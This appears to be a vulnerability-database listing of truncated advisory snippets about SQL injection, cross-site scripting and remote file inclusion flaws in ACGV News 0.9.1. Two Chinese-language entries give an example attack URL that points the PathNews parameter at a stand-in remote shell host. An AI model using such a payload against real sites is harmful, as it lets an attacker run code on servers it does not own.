EUVD-2008-2408

Malware in sbrugna...

EUVD-2006-4625

Malware in sbrugna...

EUVD-2008-2407

Malware in sbrugna...

ACGV News 0.9.1 - glossaire.php id Parameter SQL Injection

No description provided by source. source: http://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these...

ACGV News 0.9.1 - glossaire.php id Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these...

CVE-2008-2413

Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

CVE-2008-2412

SQL injection vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-2412

CVE-2008-2412 is a SQL injection vulnerability in the PHP file glossaire.php of ACGV News 0.9.1 . The vulnerability allows remote attackers to execute arbitrary SQL commands via the id parameter, as described in multiple sources (NVD/NIST) with a CVSS v2 base score of 7.5 (HIGH). The core issue i...

CVE-2008-2413

CVE-2008-2413 affects ACGV News 0.9.1 in the glossaire.php component, where the id parameter is reflected without proper sanitization, enabling cross-site scripting (XSS) by remote attackers. The provided descriptions consistently identify a user-controllable id parameter as the trigger, yielding...

CVE-2008-2412

SQL injection vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-2413

Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

CVE-2008-2412: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-2413: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...

ACGV News 0.9.1 - glossaire.php?id SQL Injection

ACGV News 0.9.1 - glossaire.php?id SQL Injection source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data...

ACGV News 0.9.1 - glossaire.php?id Cross-Site Scripting

ACGV News 0.9.1 - glossaire.php?id Cross-Site Scripting source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied...

ACGV News 0.9.1 - 'glossaire.php?id' Cross-Site Scripting

source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...

ACGV News 0.9.1 - 'glossaire.php?id' SQL Injection

source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...

ACGV News Article.PHP远程文件包含漏洞

ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Article.PHP'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...

ACGV News PathNews参数远程文件包含漏洞

ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'article.php'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 目前没有解决方案提供,请关注以下链接： http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...